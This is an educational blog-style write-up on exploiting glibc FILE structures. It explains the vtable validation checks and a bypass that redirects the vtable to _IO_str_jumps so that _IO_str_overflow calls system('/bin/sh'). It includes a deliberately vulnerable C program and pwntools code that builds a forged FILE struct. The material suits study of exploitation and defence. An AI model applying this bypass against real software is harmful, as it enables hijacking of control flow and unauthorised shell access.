Introduction

‘FILE’ structure exploitation is one of the common ways to gain control over execution flow. The attacker overwrites a ‘FILE’ pointer (say stdin, stdout, stderr or any other file handler opened by fopen() ) to point to his/her own forged structure. This structure contains vtable , which is a pointer to a table which contains functions which are called when the original ‘FILE’ pointer is used to perform different operations (such as fread , fwrite , etc.). However, checks have recently been incorporated in libc that place a restriction on vtable to protect against most of the attacks.

Kees Cook has written an informative article about ‘Abusing the FILE structure’. This technique will no longer work in the patched libc. Another possible way to exploit the ‘FILE’ structure is to forge the read , write pointers instead of the vtable . This technique is highlighted by Angelboy in his presentation: Play with FILE Structure - Yet Another Binary Exploit Technique.

In this post, I’ll be describing the protection mechanism introduced recently in libc and a possible way to bypass it. We’ll not only get RIP control, but also control over the the first three parameters in RDI, RSI and RDX respectively. I’ll be only targeting the vtable pointer.

Prerequisites

It is assumed that the reader is familiar with the current FILE structure and the common (though now obsolete) attack on vtable . The following two resources (same as mentioned previously) are sufficient to get the necessary background:

Protection mechanism

Two new functions have been added to protect against tampering with the vtable pointer: IO_validate_vtable and _IO_vtable_check . Every vtable reference is first passed through IO_validate_vtable (which internally uses _IO_vtable_check ). In case tampering is detected, the program aborts, otherwise the corresponding vtable pointer is returned.

/* IO_validate_vtable Source: https://code.woboq.org/userspace/glibc/libio/libioP.h.html#IO_validate_vtable */ /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable ( const struct _IO_jump_t * vtable ) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables ; const char * ptr = ( const char * ) vtable ; uintptr_t offset = ptr - __start___libc_IO_vtables ; if ( __glibc_unlikely ( offset >= section_length )) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable ; }

The function checks whether the vtable pointer lies inside the __libc_IO_vtables section or not. If not, it further check the pointer by calling _IO_vtable_check . This section contains some vtables of the type _IO_jump_t (source). The original vtable is also part of it.

/* _IO_vtable_check Source: https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check */ void attribute_hidden _IO_vtable_check ( void ) { #ifdef SHARED void ( * flag ) ( void ) = atomic_load_relaxed ( & IO_accept_foreign_vtables ); #ifdef PTR_DEMANGLE PTR_DEMANGLE ( flag ); #endif if ( flag == & _IO_vtable_check ) return ; { Dl_info di ; struct link_map * l ; if ( _dl_open_hook != NULL || ( _dl_addr ( _IO_vtable_check , & di , & l , NULL ) != 0 && l -> l_ns != LM_ID_BASE )) return ; } #else /* !SHARED */ if ( __dlopen != NULL ) return ; #endif __libc_fatal ( "Fatal error: glibc detected an invalid stdio handle

" ); }

Attack

In this attack, we will make the FILE’s vtable point to some other place (useful), which is already inside the __libc_IO_vtables section. This will pass the security check. I came across this attack while going through a CTF writeup. The _IO_str_jumps is also part of this section (source). It contains a pointer to the function _IO_str_overflow which is useful for our purpose.

/* Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow */ _IO_str_overflow ( _IO_FILE * fp , int c ) { int flush_only = c == EOF ; _IO_size_t pos ; if ( fp -> _flags & _IO_NO_WRITES ) return flush_only ? 0 : EOF ; if (( fp -> _flags & _IO_TIED_PUT_GET ) && ! ( fp -> _flags & _IO_CURRENTLY_PUTTING )) { fp -> _flags |= _IO_CURRENTLY_PUTTING ; fp -> _IO_write_ptr = fp -> _IO_read_ptr ; fp -> _IO_read_ptr = fp -> _IO_read_end ; } pos = fp -> _IO_write_ptr - fp -> _IO_write_base ; if ( pos >= ( _IO_size_t ) ( _IO_blen ( fp ) + flush_only )) { if ( fp -> _flags & _IO_USER_BUF ) /* not allowed to enlarge */ return EOF ; else { char * new_buf ; char * old_buf = fp -> _IO_buf_base ; size_t old_blen = _IO_blen ( fp ); _IO_size_t new_size = 2 * old_blen + 100 ; if ( new_size < old_blen ) return EOF ; new_buf = ( char * ) ( * (( _IO_strfile * ) fp ) -> _s . _allocate_buffer ) ( new_size ); /* ^ Getting RIP control !*/

We shall overwrite the vtable in such a manner so that instead of calling the regular ‘FILE’ associated function, _IO_str_overflow would be called. Since we can already forge fp , we can control the execution flow, along with the first three parameters in this line:

( char * ) ( * (( _IO_strfile * ) fp ) -> _s . _allocate_buffer ) ( new_size );

fp->_s._allocate_buffer is at a fixed offset within fp and new_size is being calculated from the members of fp . The offset can be calculated by reversing the binary or through gdb. In my case, the offset was 0xe0 , which is directly after vtable pointer. new_size is calculated as follows:

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) size_t old_blen = _IO_blen ( fp ); _IO_size_t new_size = 2 * old_blen + 100 ;

Hence, we can craft any ‘even’ value for new_size by setting appropriate _IO_buf_end and _IO_buf_base . For instance, if we want new_size to be equal to x , set _IO_buf_base = 0 and _IO_buf_end = (x - 100)/2 . However, we also have to pass a check before arriving at the particular call instruction:

int flush_only = c == EOF ; pos = fp -> _IO_write_ptr - fp -> _IO_write_base ; if ( pos >= ( _IO_size_t ) ( _IO_blen ( fp ) + flush_only ))

flush_only is 0, so we want pos >= _IO_blen(fp) . This can be achieved by setting _IO_write_ptr = (x - 100)/2 and _IO_write_base = 0 .

Regarding the second and third parameters, let’s reverse the binary at assembly level and trace back the registers rsi and rdx before the call instruction:

mov rdx, [rdi+28h] mov rsi, rdx sub rsi, [rdi+20h]

rdi + 0x28 matches with fp->_IO_write_ptr . rdi + 0x20 matches with _IO_write_base . Note that we already have a restriction that _IO_write_ptr - _IO_write_base should be greater than or equal to (rdi - 100)/2 . Hence, we cannot have arbitrary values for rsi and rdx .

Now, with this let’s try our own exploit. Consider the vulnerable code:

/* gcc vuln.c -o vuln */ #include <stdio.h> #include <unistd.h> char fake_file [ 0x200 ]; int main () { FILE * fp ; puts ( "Leaking libc address of stdout:" ); printf ( "%p

" , stdout ); // Emulating libc leak puts ( "Enter fake file structure" ); read ( 0 , fake_file , 0x200 ); fp = ( FILE * ) & fake_file ; fclose ( fp ); return 0 ; }

Here is the link to the above mentioned code. You might want to work with the same binary and libc that I used. I am running it on Ubuntu 16.04.

The program first simulates a leak of an address in libc. It then takes input in a global variable fake_file and points the file pointer fp to it. Next, it closes the file pointer using fclose(fp) .

The first step towards developing the exploit is to realize the target that we want to achieve. Namely, calling system("/bin/sh") . I shall be using pwntools library. The binary comes with a libc leak, making it easier for us to calculate the address of system and the string /bin/sh within the libc.

rip = libc_base + libc . symbols [ 'system' ] rdi = libc_base + next ( libc . search ( "/bin/sh" ))

Our next step is to point vtable to some address, such that, fclose will actually call _IO_str_overflow . I used gdb to find the relative offset of a pointer to _IO_str_overflow from _IO_file_jumps , which apparently is 0xd8 for the provided libc. Now, if I point the vtable to 0x10 bytes before it, fclose will call _IO_str_overflow (again from gdb).

io_str_overflow_ptr_addr = libc_base + libc . symbols [ '_IO_file_jumps' ] + 0xd8 # Calculate the vtable by subtracting appropriate offset fake_vtable_addr = io_str_overflow_ptr_addr - 2 * 8

Next, we can craft our fake ‘FILE’ structure by setting appropriate vtable and also other pointers so as to call rip with rdi as a parameter.

# Craft file struct file_struct = pack_file ( _IO_buf_base = 0 , _IO_buf_end = ( rdi - 100 ) / 2 , _IO_write_ptr = ( rdi - 100 ) / 2 , _IO_write_base = 0 , _lock = bin . symbols [ 'fake_file' ] + 0x80 ) # vtable pointer file_struct += p64 ( fake_vtable_addr ) # (*((_IO_strfile *) fp)->_s._allocate_buffer) file_struct += p64 ( rip ) file_struct = file_struct . ljust ( 0x100 , " \x00 " )

Note that we also have to set fp->_lock to an address pointing to NULL to prevent fclose waiting on someone else for releasing the lock. The complete exploit can be downloaded here.

Note: Another possible function (instead of _IO_str_overflow ) that one could use is _IO_wstr_finish() as seen in this post by Josh Wang.

Conclusion